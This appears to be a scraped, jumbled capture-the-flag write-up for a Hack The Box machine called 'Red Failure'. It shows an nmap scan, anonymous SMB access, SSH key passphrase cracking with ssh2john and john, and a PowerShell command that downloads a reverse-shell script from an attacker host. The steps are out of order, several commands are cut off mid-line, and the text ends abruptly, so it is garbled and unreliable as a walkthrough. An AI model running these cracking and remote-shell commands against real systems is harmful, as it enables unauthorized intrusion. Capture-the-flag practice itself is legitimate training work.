Red Failure Htb • Deluxe

smbclient //10.10.11.193/backup -U anonymous Once inside the share, we find a file called backup.zip . We can download the file and attempt to unzip it:

With elevated privileges, we can navigate to the Administrator's desktop and retrieve the flag: red failure htb

ssh2john id_rsa > id_rsa.hash john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash After cracking the passphrase, we can use the private key to authenticate via SSH. Once logged in, we find that we're still not able to access the Administrator's desktop. smbclient //10

nmap -sV -p- 10.10.11.193 The scan reveals that the machine is running Windows Server 2019 and has several open ports, including RDP (3389), SMB (445), and HTTP (80). nmap -sV -p- 10

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To start, let's connect to the Hack The Box VPN and access the Red Failure machine. We can use the nmap command to perform an initial scan of the machine:

Invoke-WebRequest -Uri http://10.10.16.38:8080/Invoke-PowerShellTcpip.ps1 -OutFile Invoke-PowerShellTcpip.ps1 Then: